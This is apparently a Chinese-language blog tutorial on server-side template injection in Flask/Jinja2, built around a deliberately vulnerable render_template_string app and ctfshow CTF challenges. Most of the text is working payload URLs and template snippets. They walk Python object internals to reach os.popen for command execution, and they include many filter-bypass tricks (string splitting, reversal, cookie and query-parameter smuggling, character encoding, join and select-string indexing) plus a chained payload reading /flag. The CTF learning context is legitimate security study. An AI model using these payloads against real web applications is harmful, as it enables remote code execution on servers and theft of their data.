学习ssti

ssti也叫做模板注入

当不正确的使用模板引擎进行渲染时,则会造成模板注入

比如render_template_string函数,当参数可控时,会造成模板注入

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti

python沙箱逃逸总结 这是别人的文章

__class__ 返回对象所属的类

__bases__以元组的形式返回一个类所直接继承的类

__base__以字符串返回一个类所直接继承的类。

__mro__返回解析方法调用的顺序。

__subclasses__()获取类的所有子类。

__init__所有自带类都包含init方法,便于利用他当跳板来调用globals。

__globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

我们如何利用这些来进行执行命令呢

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/flag/')
def flag():
    code = request.args.get('id')
    html = '''
        hello, do you have id ? , %s
    ''' % code
    return render_template_string(html)

if __name__ == '__main__':
    app.run(host='127.0.0.1' , port='5000')

782d8bee62a620a9af36cec5d1cb8822.png

返回''所属的类,我们的目的是获取到它的基类,Object,使用__base__,__bases__,__mro__殊途同归

控制结构 {% %}

变量取值 {{ }}

注释 {# #}

e4cca510b163c1affca0c603a57ce05d.png

3a8df8afb0d4a753fccf1d5f8bafe7ca.png

fd23d252e4265f2a055c1ee47dcd48ed.png

获取到基类后,在通过基类获取到它下面所有的子类,

可以寻找catch_warnings因为catch_warning是function具有__globals__

1400886f22f19c494d21f71a5454a7ee.png

7d01838a4312aa81131fdba3d7320865.png

寻找到function即可,我这边习惯找catch_warnings

在本地寻找的脚本

import jinja2
num=0
for i in ''.__class__.__base__.__subclasses__():
	if 'catch_warnings' in str(i):
		print(num)
	num=num+1

我们在__globals__的属性__builtins__里面发现了很多函数

11f9d9674f9b1e2c2bbfaa8f82132420.png

比如说__import__,eval函数我们可以调用这些来getshell

cc226cb59eb25f4aea241e36148469d3.png

调用__import__声明os库,使用popen函数执行命令,read读取到页面上

2095c0e0dd43524f37487ea50581dea9.png

又比如说通过eval函数调用__import__

既然在本地打通了,我们尝试开启靶机,在web页面尝试

13a695aa6d357f58743c1407cfbdf14b.png

看到这个场景,我们使用索引,一个一个取数就不太现实,有两个方法

一个通过jinja2的{%%}语句

一个通过python来寻找

import requests
for i in range(1,300):
	url="http://127.0.0.1:5000/flag/?id={{%27%27.__class__.__mro__[1].__subclasses__()["+str(i)+"]}}"
	r=requests.get(url)
	if "catch_warnings" in r.text:
		print(i)

cdae6982d3c97debd9c0108d4c647591.png

07109cb6b389f84f66cdd256feb3e614.png

然后我们可以去通过使用函数getshell了

4493440e8f82303b502cc08d052a49b5.png

还有一种就是通过jinja2的语句控制

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__']['__import__']('os').popen("dir").read()}}
{% endif %}
{% endfor %}

8630a8df41e7a5340ac03b96a3ec461f.png

当然还有一种办法就是它预定义好的

ca72f646f6f3662d8233b7aa11534978.png

60f9da43dfc3955af7b5ef65d4b5214e.png

http://127.0.0.1:5000/flag/?id={{x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
http://127.0.0.1:5000/flag/?id={{config.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

也可以用这个语句读取放在环境中的变量

{{url_for.__globals__['current_app'].config}}

web有注入的地方就会有正则的存在

from flask import Flask, request, render_template_string
import re
app = Flask(__name__)
@app.route('/flag/')
def flag():
    code = request.args.get('id')
    if re.match('__class__',code):
        html="checked"
    else:
        html = '''
            hello, do you have id ? , %s
        ''' % code
    return render_template_string(html)

if __name__ == '__main__':
    app.run(host='127.0.0.1' , port='5000')

我们看到正则过滤了__class__,我们应该如何绕过呢

首先知道 ''.__class__和''['__class__']是一样的效果,我们可以通过

['__cla'+'ss__']如绕过__class__的限制

http://127.0.0.1:5000/flag/?id={{''['__cl'+'ass__']['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}

ee11b598c9e5648d01066d115e92ac2f.png

我们也可以使用倒序[::-1]来进行绕过

ad80d814a6658b0c7ea79e279518f9a9.png

http://127.0.0.1:5000/flag/?id={{''['__ssalc__'[::-1]]['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}

也可以使用flask框架的request函数

get: request.args.x //GET形式传递x

post: request.forms.x //POST形式传递x

cookie: request.cookies.x //COOKIE传递x

get方式绕过

url: http://127.0.0.1:5000/flag/?id={{''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}

get: x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()

58791b9d85f14ff61cae0737eddd4b6d.png

http://127.0.0.1:5000/flag/?id={{''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}&x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()

post:

不允许的方式

cookie:

url=http://127.0.0.1:5000/flag/?id={{''[request.cookies.x][request.cookies.x1][request.cookies.x2]()[220][request.cookies.x3][request.cookies.x4][request.cookies.x5].eval(request.cookies.x6)}}

cookie:x=__class__;x1=__base__;x2=__subclasses__;x3=__init__;x4=__globals__;x5=__builtins__;x6=__import__('os').popen('dir').read()

0d8af2749be7be536e7675a98034f766.png

 

编码绕过:

"{0:c}".format(97)='a'

"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4d8fb03a35ccefc9bebb65c17419ae73.png

http://127.0.0.1:5000/flag/?id={{''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)].__base__.__subclasses__()[220].__init__.__globals__['__builtins__'].__import__('os').popen('dir').read()}}

join绕过:

[1,2,3]|join

19f28d1b1c4b65a95c6b7d47c011e3b5.png

104fa9e25855f8b3283636f50bd0d357.png

{% set a=['__','class','__']|join %}{{''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

我们也可以利用函数直接绕过__class__的限制

http://127.0.0.1:5000/flag/?id={{x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

c89ee942f3a6a0b0890659d73d7ebb28.png

通过拼接绕过

http://127.0.0.1:5000/flag/?id={% set a=(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18]~(()|select|string)[24]~(()|select|string)[24] %}{{''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

57da65c8184f916468534e4a06eed744.png

绕过暂时就写道这里吧:

我们进入实战的一些题目吧

ctfshow365

5a9173d42fe140e80e1a2fd379571b69.png

c4d710e96267c41282cce1e538372257.png

args也被禁了

12d4ee8394760fdc9ca8ee0148005bbd.png

cookies传参可以使用

c434d02e68834648d0c498f956b83d29.png

引号也被禁了

简单的绕过

url={{x.__init__.__globals__.__builtins__.__import__(request.cookies.x).popen(request.cookies.x1).read()}}

cookie: x=os;x1=ls /

c0a652a439646b722485d69bc11e0331.png

 

ctfshow369

在往后面就不礼貌了,也看不懂了

分析一下大佬的wp吧

3a9ef7b17455d49f908a095b31d242c9.png

 

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}	//获取pop函数,通过join
{% set a=(()|select|string|list)|attr(po)(24)%}  //利用pop(xx)代替[xx]获取_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}   //拼接__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}	//拼接__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}	//拼接__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} //拼接(q|attr('__init__')|attr('__globals__')|attr('__getitem__'))('__builtins__')
{% set chr=x.chr%} //获取chr函数
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //利用chr拼接/flag
{%print(x.open(file).read())%}	//利用__builtins__的open函数读取

bb19ff5ca0f73502098887c92cfd9224.png

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值